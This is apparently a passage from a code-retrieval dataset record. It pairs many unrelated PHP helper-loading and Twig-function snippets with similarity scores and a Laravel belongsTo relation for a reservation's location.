$this->_php_open();\n\t\tstrpos($file['file'], '_helper') || $file['file'] .= '_helper';\n\t\t$path = APPPATH . 'helpers/' . $file['path'] . strtolower($file['file']) . '.php';\n\t\twrite_file($path, $data);\n\t\t$this->msg[] = 'Created helper file at ' . $path;\n\t\t//echo $this->_messages();\n\t\treturn $this->result(true, $this->msg[0]);\n\t}", "function _helpermethods_xhtml(Doku_Renderer &$renderer){\n $plugins = plugin_list('helper');\n foreach($plugins as $p){\n if (!$po = plugin_load('helper',$p)) continue;\n\n if (!method_exists($po, 'getMethods')) continue;\n $methods = $po->getMethods();\n $info = $po->getInfo();\n\n $hid = $this->_addToTOC($info['name'], 2, $renderer);\n $doc = '<h2><a name=\"'.$hid.'\" id=\"'.$hid.'\">'.hsc($info['name']).'</a></h2>';\n $doc .= '<div class=\"level2\">';\n $doc .= '<p>'.strtr(hsc($info['desc']), array(\"\\n\"=>\"<br />\")).'</p>';\n $doc .= '<pre class=\"code\">$'.$p.\" = plugin_load('helper', '\".$p.\"');</pre>\";\n $doc .= '</div>';\n foreach ($methods as $method){\n $title = '$'.$p.'->'.$method['name'].'()';\n $hid = $this->_addToTOC($title, 3, $renderer);\n $doc .= '<h3><a name=\"'.$hid.'\" id=\"'.$hid.'\">'.hsc($title).'</a></h3>';\n $doc .= '<div class=\"level3\">';\n $doc .= '<div class=\"table\"><table class=\"inline\"><tbody>';\n $doc .= '<tr><th>Description</th><td colspan=\"2\">'.$method['desc'].\n '</td></tr>';\n if ($method['params']){\n $c = count($method['params']);\n $doc .= '<tr><th rowspan=\"'.$c.'\">Parameters</th><td>';\n $params = array();\n foreach ($method['params'] as $desc => $type){\n $params[] = hsc($desc).'</td><td>'.hsc($type);\n }\n $doc .= join($params, '</td></tr><tr><td>').'</td></tr>';\n }\n if ($method['return']){\n $doc .= '<tr><th>Return value</th><td>'.hsc(key($method['return'])).\n '</td><td>'.hsc(current($method['return'])).'</td></tr>';\n }\n $doc .= '</tbody></table></div>';\n $doc .= '</div>';\n }\n unset($po);\n\n $renderer->doc .= $doc;\n }\n }", "public function __construct() {\n\t\tforeach(glob(CORE_BASE . 'helpers/*.php') as $file) {\n\t\t\trequire_once $file;\n\t\t}\n\t}", "private static function register_helper_functions($helper_name, &$smarty) {\n\t\t\t$helper_class = new ReflectionClass($helper_name);\n\t\t\t$filters = self::find_helper_filters($helper_class);\n\t\t\tforeach($helper_class->getMethods() as $method) {\n\t\t\t\tif(in_array($method->name, $filters)) {\n\t\t\t\t\t$smarty->register_modifier($method->name, array($helper_name, $method->name)); continue; // register filters as such\n\t\t\t\t}\n\t\t\t\t$smarty->register_function($method->name, array($helper_name, $method->name));\n\t\t\t}\n\t\t}", "private static function _initHelpersNamespaces () {\n\t\t$app = & \\MvcCore\\Application::GetInstance();\n\t\tstatic::$helpersNamespaces = [\n\t\t\t'\\\\MvcCore\\\\Ext\\\\Views\\Helpers\\\\',\n\t\t\t// and '\\App\\Views\\Helpers\\' by default:\n\t\t\t'\\\\' . implode('\\\\', [\n\t\t\t\t$app->GetAppDir(),\n\t\t\t\t$app->GetViewsDir(),\n\t\t\t\tstatic::$helpersDir\n\t\t\t]) . '\\\\',\n\t\t];\n\t}", "public function register()\n {\n foreach (glob(__DIR__ . '/Helpers/*.php') as $filename) {\n require_once $filename;\n }\n }", "function _initViewHelpers()\n {\n // defined in /config/application.ini\n $this->bootstrap('layout');\n $layout = $this->getResource('layout');\n $view = $layout->getView();\n $view->addHelperPath(APPLICATION_PATH . '/common/helpers', 'My_View_Helper');\n $view->addHelperPath(APPLICATION_PATH . '/controllers/helpers', 'My_Action_Helper');\n //$view->addHelperPath(APPLICATION_PATH .'/view/helpers', '');\n\n //enable Zend JQuery\n ZendX_JQuery::enableView($view);\n\n // use zend helpers to generate meta tags\n $view->doctype('HTML4_STRICT');\n $view->headMeta()->appendHttpEquiv('Content-type', 'text/html;charset=utf-8')\n ->appendName('description', 'FACES');\n\n // use zend helpers to seperate major and minor titles\n $view->headTitle()->setSeparator(' - ');\n $view->headTitle('FACES');\n }", "static function defineFunctions()\n\t{\n\t\tif ( !function_exists('json_decode') ) {\n\t\t\tfunction json_decode($content, $assoc=false){\n\t\t\t\tif ( $assoc ){\n\t\t\t\t\t$json = new Pie_Json(SERVICES_JSON_LOOSE_TYPE);\n\t\t\t\t} else {\n\t\t\t\t\t$json = new Pie_Json;\n\t\t\t\t}\n\t\t\t\treturn $json->decode($content);\n\t\t\t}\n\t\t}\n\n\t\tif ( !function_exists('json_encode') ) {\n\t\t\tfunction json_encode($content){\n\t\t\t\t$json = new Services_JSON;\n\t\t\t\treturn $json->encode($content);\n\t\t\t}\n\t\t}\n\t}", "function maxDoc_inc_custom_inc(){\n\n\t/**\n\t * Place your custom functions below so you can upgrade common_inc.php without trashing\n\t * your custom functions.\n\t *\n\t * An example function is commented out below as a documentation example\n\t *\n\t * View common_inc.php for many more examples of documentation and starting\n\t * points for building your own functions!\n\t */\n}", "function functions() {\n \n }", "function showSimilarFunctions($func){\n\t\t$out1=\"Similar/Related $func Functions:\";\n\n\t\tswitch($func){\n\t\t\tcase 'ftp' : $out=\"<a href='?op=addftpuser'>Add New ftp</a>, <a href='?op=addftptothispaneluser'>Add ftp Under My ftp</a>, <a href='?op=addsubdirectorywithftp'>Add ftp in a subDirectory Under Domainname</a>, <a href='?op=addsubdomainwithftp'>Add subdomain with ftp</a>, <a href='?op=add_ftp_special'>Add ftp under /home/xxx (admin)</a>, <a href='net2ftp' target=_blank>WebFtp (Net2Ftp)</a>, <a href='?op=listallftpusers'>List All Ftp Users</a> \";break;\n\t\t\tcase 'mysql' : $out=\"<a href='?op=domainop&amp;action=listdb'>List / Delete Mysql Db's</a>, <a href='?op=addmysqldb'>Add Mysql Db&amp;dbuser</a>, <a href='?op=addmysqldbtouser'>Add Mysql db to existing dbuser</a>, <a href='?op=dbadduser'>Add Mysql user to existing db</a>, <a href='/phpmyadmin' target=_blank>phpMyadmin</a>\";break;\n\t\t\tcase 'email' : $out=\"<a href='?op=listemailusers'>List Email Users / Change Passwords</a>, <a href='?op=addemailuser'>Add Email User</a>, Email forwardings: <a href='?op=emailforwardings'>List</a> - <a href='?op=addemailforwarding'>Add</a>, <a href='?op=bulkaddemail'>Bulk Add Email</a>, <a href='?op=editEmailUserAutoreply'>edit Email Autoreply</a> ,<a href='webmail' target=_blank>Webmail (Squirrelmail)</a>\";break;\n\t\t\tcase 'domain': $out=\"<a href='?op=addDomainToThisPaneluser'>Add Domain To my ftp user (Most Easy)</a> - <a href='?op=adddomaineasy'>Easy Add Domain (with separate ftpuser)</a> - <a href='?op=adddomain'>Normal Add Domain (Separate ftp&panel user)</a> - <a href='?op=bulkadddomain'>Bulk Add Domain</a> - <a href='?op=adddnsonlydomain'>Add dns-only hosting</a>- <a href='?op=adddnsonlydomainwithpaneluser'>Add dns-only hosting with separate paneluser</a><br>Different IP(in this server, not multiserver): <a href='?op=adddomaineasyip'>Easy Add Domain to different IP</a> - <a href='?op=setactiveserverip'>set Active webserver IP</a><br>List Domains: <a href='?op=listselectdomain'>short listing</a> - <a href='?op=listdomains'>long listing</a>\";break;\n\t\t\tcase 'redirect': $out=\"<a href='?op=editdomainaliases'>Edit Domain Aliases</a>\";break;\n\t\t\tcase 'options' : $out=\t\"\n\t<br><a href='?op=options&edit=1'>Edit/Change Options</a><br>\n\t<br><a href='?op=changemypass'>Change My Password</a>\n\t<br><a href='?op=listpanelusers'>List/Add Panelusers/Resellers</a>\n\t<br><a href='?op=dosyncdns'>Sync Dns</a>\n\t<br><a href='?op=dosyncdomains'>Sync Domains</a><br>\n\t<br><a href='?op=dosyncftp'>Sync Ftp (for non standard home dirs)</a><br>\n\t<hr><a href='?op=advancedsettings'>Advanced Settings</a><br><br>\n\t<br><a href='?op=dofixmailconfiguration'>Fix Mail Configuration<br>Fix ehcp Configuration</a> (This is used after changing ehcp mysql user pass, or if you upgraded from a previous version, in some cases)<br>\n\t<!-- <br><a href='?op=dofixapacheconfigssl'>Fix apache Configuration with ssl</a> -->\n\t<br><a href='?op=dofixapacheconfignonssl'>Fix apache Configuration without ssl</a>\n\t<br>\n\t<hr>\n\t<a href='?op=listservers'>List/Add Servers/ IP's</a><br>\n\t<hr>\n\n\tExperimental:\n\t<br><a href='?op=donewsyncdns'>New Sync Dns - Multiserver</a>\n\t<br><a href='?op=donewsyncdomains'>New Sync Domains - Multiserver</a><br>\n\t<br><a href='?op=multiserver_add_domain'>Multiserver Add Domain</a>\n\t<hr>\n\n\t\";break;\n\t\t\tcase 'customhttpdns': $out=\"Custom Http: <a href='?op=customhttp'>List</a> - <a href='?op=addcustomhttp'>Add</a>, Custom dns: <a href='?op=customdns'>List</a> - <a href='?op=addcustomdns'>Add</a>\";break;\n\t\t\tcase 'subdomainsDirs': $out=\"SubDomains: <a href='?op=subdomains'>List</a> - <a href='?op=addsubdomain'>Add</a> - <a href='?op=addsubdomainwithftp'>Add subdomain with ftp</a> - <a href='?op=addsubdirectorywithftp'>Add subdirectory with ftp (Under domainname)</a>\";break;\n\t\t\tcase 'HttpDnsTemplatesAliases': $out=\"<a href='?op=editdnstemplate'>Edit dns template for this domain </a> - <a href='?op=editapachetemplate'>Edit apache template for this domain </a> - <a href='?op=editdomainaliases'>Edit Aliases for this domain </a>\";break;\n\t\t\tcase 'panelusers': $out=\"<a href='?op=listpanelusers'>List All Panelusers/Clients</a>, <a href='?op=resellers'>List Resellers</a>, <a href='?op=addpaneluser'>Add Paneluser/Client/Reseller</a>\";break;\n\t\t\tcase 'server':$out=\"<a href='?op=listservers'>List Servers/IP's</a> - <a href='?op=addserver'>Add Server</a> - <a href='?op=addiptothisserver'>Add ip to this server</a> - <a href='?op=setactiveserverip'>set Active webserver IP</a>\";break;\n\t\t\tcase 'backup':$out=\"<a href='?op=dobackup'>Backup</a> - <a href='?op=dorestore'>Restore</a> - <a href='?op=listbackups'>List Backups</a>\";break;\n\t\t\tcase 'vps': $out=\"<a href='?op=vps'>VPS Home</a> - <a href='?op=add_vps'>Add new VPS</a> - <a href='?op=settings&group=vps'>VPS Settings</a> - <a href='?op=vps&op2=other'>Other Vps Ops</a>\";break;\n\n\t\t\tdefault\t : $out=\"(internal ehcp error) This similar function is not defined in \".__FUNCTION__.\" : ($func)\"; $out1='';break;\n\t\t}\n\n\t\t$this->output.=\"<br><br>$out1\".$out.\"<br>\";\n\t}", "private function restore_helpers($helpers) {\n foreach ($helpers as $name => $function) {\n // Restore the helper functions. Must call parent::add here to avoid\n // a recursion problem.\n parent::add($name, $function);\n }\n }", "public function __construct()\n {\n $this->helper = new Helpers;\n }", "public function __construct()\n {\n $this->helper = new Helpers;\n }", "public function __construct()\n {\n $this->helper = new Helpers;\n }", "public function __construct()\n {\n $this->helper = new Helpers;\n }", "public function __construct()\n {\n $this->helper = new Helpers;\n }", "private function aFunc()\n {\n }", "protected function _helper()\n {\n return Mage::helper('onepageCheckout');\n }", "public function index()\r\n\t{\r\n\t\t$this->addHook($this->i18n->languageDetector()); #jaki jest domyslny jezyk usera\r\n\t\t\r\n\t\t$this->main->metatags_helper; #do pliku main.php zostaje wczytany plik metatags_helper itd\r\n\t\t$this->main->head_helper;\r\n\t\t$this->main->loader_helper;\r\n\t\t$this->main->module_helper;\r\n\t\t$this->main->model_helper;\r\n\t\t$this->main->directory_helper;\r\n\t\t$this->main->translate_helper;\r\n\t}", "public function include_template_functions() {\n\n\t}", "protected function &_helper() {\n\t\t$helper = $this->context(true)->helper($this->_helper);\n\t\treturn $helper;\n\t}", "abstract protected function exportFunctions();", "public function getFunctions()\n {\n return array(\n new \\Twig_SimpleFunction('adminlist_widget', array($this, 'renderWidget'), array('needs_environment' => true, 'is_safe' => array('html'))),\n new \\Twig_SimpleFunction('my_router_params', array($this, 'routerParams')),\n new \\Twig_SimpleFunction('supported_export_extensions', array($this, 'getSupportedExtensions')),\n );\n }", "protected function setup_common_wp_stubs() {\n\t\t// Common escaping functions.\n\t\tFunctions\\stubs(\n\t\t\t[\n\t\t\t\t'esc_attr',\n\t\t\t\t'esc_html',\n\t\t\t\t'esc_textarea',\n\t\t\t\t'esc_url',\n\t\t\t\t'wp_kses_post',\n\t\t\t]\n\t\t);\n\n\t\t// Common internationalization functions.\n\t\tFunctions\\stubs(\n\t\t\t[\n\t\t\t\t'__',\n\t\t\t\t'esc_html__',\n\t\t\t\t'esc_html_x',\n\t\t\t\t'esc_attr_x',\n\t\t\t]\n\t\t);\n\n\t\tforeach ( [ 'esc_attr_e', 'esc_html_e', '_e' ] as $wp_function ) {\n\t\t\tFunctions\\when( $wp_function )->echoArg();\n\t\t}\n\t}", "private function addHelpers() {\n\n $this->info('Adding helpers to composer.json');\n\n $path = base_path('composer.json');\n $contents = file_get_contents($path);\n $manipulator = new JsonManipulator($contents);\n $jsonContents = $manipulator->getContents();\n $decoded = JsonFile::parseJson($jsonContents);\n $datas = isset($decoded['extra']['include_files']) ? $decoded['extra']['include_files'] : [];\n $value = 'vendor/mediactive-digital/medkit/src/helpers.php';\n\n foreach ($datas as $key => $entry) {\n\n if ($entry == $value) {\n\n $value = '';\n\n break;\n }\n }\n\n if ($value) {\n\n $datas[] = $value;\n $manipulator->addProperty('extra.include_files', $datas);\n $contents = $manipulator->getContents();\n\n file_put_contents($path, $contents);\n }\n else {\n\n $this->error(' #ERR1 [SKIP] ' . $path . ' already has helpers');\n }\n }", "public function getFunctions()\n {\n //Function definition\n return array(\n 'tyhand_docdownloader_url' => new \\Twig_Function_Method($this, 'url', array('is_safe' => array('html')))\n );\n }", "public function test_helper_string()\n\t{\n\t\t$this->load->helper('string');\n\t\techo random_string('alnum',16);\n\t}", "public function getFunctions()\n {\n return array_merge(parent::getFunctions(), array(\n 'base' => new \\Twig_Function_Function('URL::base'),\n 'form_token' => new \\Twig_Function_Function('Form::token'),\n 'can' => new \\Twig_Function_Function('Auth::can'),\n 'editor' => new \\Twig_Function_Function('\\Ionic\\Editor::create'),\n 'widget' => new \\Twig_Function_Function('\\Ionic\\Widget::factory_show'),\n 'make' => new \\Twig_Function_Function('ionic_make_link'),\n 'thumb' => new \\Twig_Function_Function('ionic_thumb')\n ));\n }", "function cc()\n{\n $numArgs = func_num_args();\n $args = func_get_args();\n $func = $args[0];\n\n $functionFile = getProjectPath('/resource/ccHelper/' . $func . '.php');\n if (!file_exists($functionFile)) {\n throw new Exception('Error: cc helper \"'. $func .'\" function not fount!');\n }\n include_once ($functionFile);\n\n $name = 'ccHelper_'. $func;\n\n switch ($numArgs)\n {\n case 1: return $name(); exit;\n case 2: return $name( $args[1] ); exit;\n case 3: return $name( $args[1], $args[2] ); exit;\n case 4: return $name( $args[1], $args[2], $args[3]); exit;\n case 5: return $name( $args[1], $args[2], $args[3], $args[4] ); exit;\n default:\n throw new Exception('Error: cc helper arguments to much');\n }\n}", "protected function getHelpers(): array\n {\n return [];\n }", "public function getFunctions()\n {\n return array(\n 'snide_travinizer_github_url' => new \\Twig_Function_Method(\n $this,\n 'getUrl',\n array('is_safe'=> array('html'))\n ),\n 'snide_travinizer_github_commit_url' => new \\Twig_Function_Method(\n $this,\n 'getCommitUrl',\n array('is_safe'=> array('html'))\n )\n );\n }", "protected static function getFacadeAccessor() { return 'apphelper'; }", "function user_call_func()\r\n{\r\n\t$path = _ROOT.'modules/';\r\n\t$mods = user_modules();\r\n\t$args = func_get_args();\r\n\t$func = array_shift($args);\r\n\tforeach ($mods as $mod)\r\n\t{\r\n\t\tif (function_exists($mod.'_'.$func))\r\n\t\t{\r\n\t\t\tcall_user_func_array($mod.'_'.$func, $args);\r\n\t\t}\r\n\t}\r\n}", "public function provideGetHelper()\n {\n return [\n 'Csv helper' => [\n 'helper' => 'csv',\n ],\n\n 'Exception helper' => [\n 'helper' => 'exception',\n ],\n\n 'InputCheckbox helper' => [\n 'helper' => 'InputCheckbox',\n ],\n\n 'InputPassword helper' => [\n 'helper' => 'InputPassword',\n ],\n\n 'InputPassword helper' => [\n 'helper' => 'InputPassword',\n ],\n\n 'InputSelect helper' => [\n 'helper' => 'InputSelect',\n ],\n\n 'InputSubmit helper' => [\n 'helper' => 'InputSubmit',\n ],\n\n 'InputTextarea helper' => [\n 'helper' => 'InputTextarea',\n ],\n\n 'InputText helper' => [\n 'helper' => 'InputText',\n ],\n\n 'InputText helper, but already has it' => [\n 'Helper' => 'InputText',\n 'helpers' => [\n 'InputText' => new \\MvcLite\\View\\Helper\\InputText,\n ],\n ],\n\n 'Bad Helper, expect exception' => [\n 'helper' => 'does not exist',\n 'helpers' => [],\n 'exception' => true,\n ]\n\n ];\n }", "public function getFunctions() {\n return array(\n new \\Twig_SimpleFunction('updateChildernMenu', array($this, 'updateChildernMenu'), array('is_safe' => array('html'))),\n new \\Twig_SimpleFunction('getasuheader', array($this, 'getasuheader'), array('is_safe' => array('html'))),\n new \\Twig_SimpleFunction('getContentsBeforeasuheader', array($this, 'getContentsBeforeasuheader'), array('is_safe' => array('html'))),\n );\n }", "function helper_add_scripts( $scripts ) {\n\t\t$rel = str_replace( ABSPATH, '/', HELPERPATH );\n\t\t$scripts->add( 'helper', $rel . 'scripts/helper.functions.js', array( 'jquery' ), '1' );\n\t}", "public function helper($helper)\n\t{\n\t\trequire_once INC_ROOT . '/app/libs/'. $helper .'_Helper.php';\n\t\treturn new $helper;\n\t}", "public function include_template_functions() {\n\t\t\tinclude_once( 'inc/frontend/wd-template-functions.php' );\n\t\t}", "public function getHelper()\n {\n return Mage::helper('ops/data');\n }", "public function getFunctions()\n {\n\treturn array(\n new \\Twig_SimpleFunction('snide_extra_form_addDoubleList', array($this, 'addDoubleList'), array('is_safe' => array('html'))),\n new \\Twig_SimpleFunction('snide_extra_form_init', array($this, 'init'), array('is_safe' => array('html'))),\n );\n }", "public static function helper( $fresh = false ) {\n\n\t\treturn self::factory( 'helper', $fresh );\n\t}", "public function getHelper()\n {\n return Mage::helper('billsafe/data');\n }", "protected function functions()\n {\n\n $functions = Load::file('/app/functions/twig.php');\n\n foreach($functions as $function) {\n $this->twig->addFunction($function);\n }\n }", "protected function createTemplateFunctions()\n {\n if (!function_exists('wpml_mailto')):\n function wpml_mailto($email, $display = null, $attrs = array())\n {\n if (is_array($display)) {\n // backwards compatibility (old params: $display, $attrs = array())\n $attrs = $display;\n $display = $email;\n } else {\n $attrs['href'] = 'mailto:'.$email;\n }\n\n return WPML::get('front')->protectedMailto($display, $attrs);\n }\n endif;\n\n if (!function_exists('wpml_filter')):\n function wpml_filter($content)\n {\n return WPML::get('front')->filterContent($content);\n }\n endif;\n }", "public function helperWizard()\n {\n return Mage::helper('novalnet_payment');\n }", "protected function setUpRenderBuildInHelpers (& $helpers) {\n\t\t$router = $this->controller->GetRouter();\n\t\t$helpers += [\n\t\t\t'url' => function ($controllerActionOrRouteName = 'Index:Index', array $params = []) use (& $router) {\n\t\t\t\t/** @var \\MvcCore\\Router $router */\n\t\t\t\treturn $router->Url($controllerActionOrRouteName, $params);\n\t\t\t},\n\t\t\t'assetUrl' => function ($path = '') use (& $router) {\n\t\t\t\t/** @var \\MvcCore\\Router $router */\n\t\t\t\treturn $router->Url('Controller:Asset', ['path' => $path]);\n\t\t\t},\n\t\t\t'escape' => function ($str, $encoding = NULL) {\n\t\t\t\treturn $this->Escape($str, $encoding);\n\t\t\t},\n\t\t\t'escapeHtml' => function ($str, $encoding = NULL) {\n\t\t\t\treturn $this->EscapeHtml($str, $encoding);\n\t\t\t},\n\t\t\t'escapeAttr' => function ($str, $double = TRUE, $encoding = NULL) {\n\t\t\t\treturn $this->EscapeAttr($str, $double, $encoding);\n\t\t\t},\n\t\t\t'escapeXml' => function ($str, $encoding = NULL) {\n\t\t\t\treturn $this->EscapeXml($str, $encoding);\n\t\t\t},\n\t\t\t'escapeJs' => function ($str, $flags = 0, $depth = 512) {\n\t\t\t\treturn $this->EscapeJs($str, $flags, $depth);\n\t\t\t},\n\t\t\t'escapeCss' => function ($str) {\n\t\t\t\treturn $this->EscapeCss($str);\n\t\t\t},\n\t\t\t'escapeICal' => function ($str) {\n\t\t\t\treturn $this->EscapeICal($str);\n\t\t\t},\n\t\t];\n\t}", "public function uniqueId(){\n $this->load->helper('string');\n}", "public function getFunctions()\n {\n return array(\n 'sonata_news_link_tag_rss' => new \\Twig_Function_Method($this, 'renderTagRss', array('is_safe' => array('html'))),\n 'sonata_news_permalink' => new \\Twig_Function_Method($this, 'generatePermalink'),\n );\n }", "public function getName()\n {\n return \"hexmedia.seo.helper\";\n }", "public function boot()\r\n {\r\n Str::mixin(new StrMacros);\r\n\r\n foreach (scandir(__DIR__ . DIRECTORY_SEPARATOR . 'helpers') as $helperFile) {\r\n $path = sprintf(\r\n '%s%s%s%s%s',\r\n __DIR__,\r\n DIRECTORY_SEPARATOR,\r\n 'helpers',\r\n DIRECTORY_SEPARATOR,\r\n $helperFile\r\n );\r\n\r\n if (!is_file($path)) {\r\n continue;\r\n }\r\n\r\n $function = Str::before($helperFile, '.php');\r\n\r\n if (function_exists($function)) {\r\n continue;\r\n }\r\n\r\n require_once $path;\r\n }\r\n }", "protected function helper($helper)\r\n {\r\n if (file_exists(ROOT_DIR . '/app/include/' . $helper . '.php'))\r\n {\r\n require_once ROOT_DIR . '/app/include/' . $helper . '.php';\r\n return new $helper;\r\n }\r\n return NULL;\r\n }", "protected function _getHelper()\n {\n return Mage::helper('innobyte_emag_marketplace');\n }", "protected function _getHelper()\n {\n return Mage::helper('innobyte_emag_marketplace');\n }", "function get_tools()\n {\n }", "protected function loadHelper()\n {\n foreach ($this->vendor_helpers_path as $vendor_helper) {\n LoaderSingleton::getInstance()->load_require_once($vendor_helper);\n }\n\n /**\n * @var HelperDefinition $helper\n */\n $helper = Container::getInstance()->get(HelperDefinition::class);\n $helpers = $helper->init();\n foreach ($helpers as $h) {\n if (is_string($h)) {\n LoaderSingleton::getInstance()->load_require_once($h);\n }\n }\n }", "public function getFunctions()\n {\n return [\n new \\Twig_SimpleFunction(\n 'documents_folder',\n function ($path, $recursive = true) {\n $folders = new FolderModel();\n $folder = $folders->where('path',$path)->first();\n\n return ($recursive) ? view('lwv.module.documents::folder/tree', compact('folder'))->render() : view('lwv.module.documents::folder/folder', compact('folder'))->render();\n }\n , ['is_safe' => ['html']]\n ),\n new \\Twig_SimpleFunction(\n 'documents_resolutions',\n function ($path) {\n $folders = new FolderModel();\n $folder = $folders->where('path',$path)->first();\n\n return view('lwv.module.documents::resolutions/folder', compact('folder'))->render();\n }\n , ['is_safe' => ['html']]\n ),\n ];\n }", "public function __construct()\r\n {\r\n helper([\"url\"]);\r\n }", "protected function includeFunctionProgram() {\n require_once 'Help/HelpFunction.php';\n }", "function helper()\n{\n return TFThemeHelper::getInstance();\n}", "public function getFunctions()\n {\n return array(\n new \\Twig_SimpleFunction('dashboard_count_block_render', array($this, 'dashboardRender'), array(\n 'is_safe' => array('html'),\n 'needs_environment' => true\n )),\n new \\Twig_SimpleFunction('dashboard_message_block_render', array($this, 'dashboardMessageRender'), array(\n 'is_safe' => array('html'),\n 'needs_environment' => true\n )),\n );\n \n }", "public function includes()\n {\n // Incluir functions.php\n include_once( WI_ABSPATH . 'functions.php' );\n }", "public function getFunctions()\n {\n return array(\n 'file_exists' => new \\Twig_Function_Function('file_exists'),\n );\n }", "public function getFunctions()\n {\n return array(\n new \\Twig_SimpleFunction('renderPaginator', array(\n $this,\n 'renderPaginator'\n ), array(\n 'is_safe' => array(\n 'html'\n ),\n 'needs_environment' => true\n )),\n new \\Twig_SimpleFunction('renderPaginatorLimit', array(\n $this,\n 'renderPaginatorLimit'\n ), array(\n 'is_safe' => array(\n 'html'\n ),\n 'needs_environment' => true\n ))\n );\n }" ]
[ "0.76815176", "0.76641893", "0.7311831", "0.7228211", "0.7222437", "0.7025534", "0.7015315", "0.6980758", "0.693849", "0.6918541", "0.6830726", "0.6804341", "0.67788446", "0.6736145", "0.66651124", "0.6638055", "0.653112", "0.6420137", "0.63798845", "0.62760174", "0.62509304", "0.6220498", "0.61755663", "0.6169544", "0.6114341", "0.6095638", "0.6077289", "0.60550714", "0.6054441", "0.60392743", "0.60185075", "0.59954524", "0.5960393", "0.5950006", "0.59404856", "0.5876346", "0.5874288", "0.5859582", "0.58570474", "0.58501405", "0.58418024", "0.5835576", "0.579857", "0.57891804", "0.5788023", "0.5775101", "0.57750976", "0.57701737", "0.5767162", "0.57422507", "0.57422507", "0.57422507", "0.57422507", "0.57422507", "0.57414466", "0.57401323", "0.5718404", "0.5704338", "0.56545055", "0.56494755", "0.5640483", "0.5640162", "0.5639994", "0.5638453", "0.5630223", "0.5601234", "0.55855286", "0.5575951", "0.55751884", "0.55698", "0.5540091", "0.5529839", "0.55141264", "0.55106086", "0.5510531", "0.5497861", "0.54923934", "0.54898596", "0.54890096", "0.5482457", "0.5482435", "0.54739785", "0.5465052", "0.54559493", "0.5453369", "0.54513955", "0.5448823", "0.5440251", "0.5438267", "0.54125226", "0.54125226", "0.5396583", "0.53936803", "0.5392185", "0.53893906", "0.53889656", "0.5375158", "0.5374194", "0.53656906", "0.535877", "0.53581876" ]
0.0
-1
/ Rezerwacja zawiera dane jednej lokalizacji
public function location() { return $this->belongsTo('App\Location', 'locations_id'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function baseSlajderi()\n {\n \n $this->linija = Slajderi::model()->findAllByAttributes(array('jezik'=>Yii::app()->session[\"lang\"]),array('order'=>'id'));\n $this->nalovSlajderi = $this->linija[0] -> naslov;\n \n \n }", "private function Zapis_kolize_formulare($pole, $idcka_skolizi, $iducast, $formular) { \r\n//znevalidneni vsech kolizi pro ucastnika a tento formular\r\n self::Znevalidni_kolize_ucastnika_formulare($iducast, $formular); \r\n\r\n//zapis do uc_kolize_table pro kazdou nastalou s_kolizi\r\n foreach ($idcka_skolizi as $id_skolize) { //zapisovana policka jsou v $pole\r\n //echo \"policko: \" . $pole['uc_kolize_table§' . $id_skolize . '_revidovano'];\r\n $kolize = new Projektor2_Table_UcKolizeData ($iducast, (int)$id_skolize,\r\n $pole['uc_kolize_table§' . $id_skolize . '_revidovano'],\r\n $pole['uc_kolize_table§' . $id_skolize . '_revidovano_pozn'],\r\n null, 1,\r\n null,null,null,null,null) ;\r\n // echo \"v Zapis_kolize_temp\" . var_dump ($kolize);\r\n $kolize->Zapis_jednu_kolizi(); //kdyz je v tabulce uc_kolize_table, tak prepsat, kdyz neni, tak insert\r\n }\r\n\r\n}", "function dodajKorisnika(Korisnik $k);", "protected function drukowanie()\n {\n for($i=0,$c=count($this->tags); $i<$c; $i++){\n $this->szkielet = $this->swap( $this->szkielet , $this->install($i) );\n }\n\n }", "public function AggiornaPrezzi(){\n\t}", "private function __unsetSlovak() {\n\n\t\t\t// Fetch current date and time settings\n\t\t\t$date = Symphony::Configuration()->get('date_format', 'lang-slovak-storage');\n\t\t\t$time = Symphony::Configuration()->get('time_format', 'lang-slovak-storage');\n\t\t\t$separator = Symphony::Configuration()->get('datetime_separator', 'lang-slovak-storage');\n\n\t\t\t// Store new date and time settings\n\t\t\tSymphony::Configuration()->set('date_format', $date, 'region');\n\t\t\tSymphony::Configuration()->set('time_format', $time, 'region');\n\t\t\tSymphony::Configuration()->set('datetime_separator', $separator, 'region');\n\t\t\tSymphony::Configuration()->write();\n\t\t}", "private function Zapis_jednu_kolizi() { \r\n $dbh = Projektor2_AppContext::getDB();\r\n\r\n//echo \"<hr><br>* v Zapis_jednu_kolizi:\";\r\n\r\n //vyberu kolizi z uc_kolize_table pokud jiz existuje\r\n $query= \"SELECT * FROM uc_kolize_table WHERE id_ucastnik =\" . $this->id_ucastnik . \" and id_s_typ_kolize_FK=\" . $this->id_s_typ_kolize_FK ;\r\n //echo \"<br>*dotaz v Zapis_jednu_kolizi: \" . $query;\r\n $data = $dbh->prepare($query)->execute();\r\n //var_dump($data);\r\n \r\n if ($data) {\r\n $zaznam_kolize = $data->fetch() ; //vemu prvni (je predpoklad ze je jen jedna)\r\n if ($zaznam_kolize) {\r\n //echo \"<br>kolize je - budu prepisovat\"; //budu prepisovat\r\n $query1 = \"UPDATE uc_kolize_table set \" .\r\n \"revidovano='\" . $this->revidovano . \"', \" .\r\n \"revidovano_pozn='\" . $this->revidovano_pozn . \"', \" .\r\n \"valid=1 \" . \r\n \"WHERE id_uc_kolize_table =\" . $zaznam_kolize['id_uc_kolize_table'];\r\n //echo \"<br>\" . $query1; \r\n $data1 = $dbh->prepare($query1)->execute(); \r\n \r\n }\r\n else {\r\n //echo \"<br>kolize neni - budu vkladat\"; //budu vkladat\r\n $query1 = \"INSERT uc_kolize_table set \" . \r\n \"id_ucastnik= \" . $this->id_ucastnik . \", \" .\r\n \"id_s_typ_kolize_FK=\" . $this->id_s_typ_kolize_FK . \", \" .\r\n \"revidovano='\" . $this->revidovano . \"', \" .\r\n \"revidovano_pozn='\" . $this->revidovano_pozn . \"', \" .\r\n \"valid=1, date_vzniku=now() \" ;\r\n //echo \"<br>\" . $query1; \r\n $data1 = $dbh->prepare($query1)->execute();\r\n \r\n }\r\n } \r\n\r\n//echo \"<hr>\";\r\n}", "public static function Najdi_kolize_pro_formular_dosud_nezavolane ($iducast, $formular, $pole_id_volanych ) {\r\n $query= \"SELECT * FROM s_typ_kolize WHERE formular='\" . $formular . \"' and valid\" ;\r\n $kolize_pole = self::Najdi_kolize ($query,$iducast) ; //to jsou vsechny pro formular\r\n \r\n //ty, co uz volal, z pole vypustit\r\n $kolize_pole_redukovane = array();\r\n \r\n foreach ($kolize_pole as $kprvek) {\r\n if ( in_array( $kprvek->id_s_typ_kolize_FK, $pole_id_volanych) ) {\r\n }\r\n else {\r\n array_push ($kolize_pole_redukovane, $kprvek ); 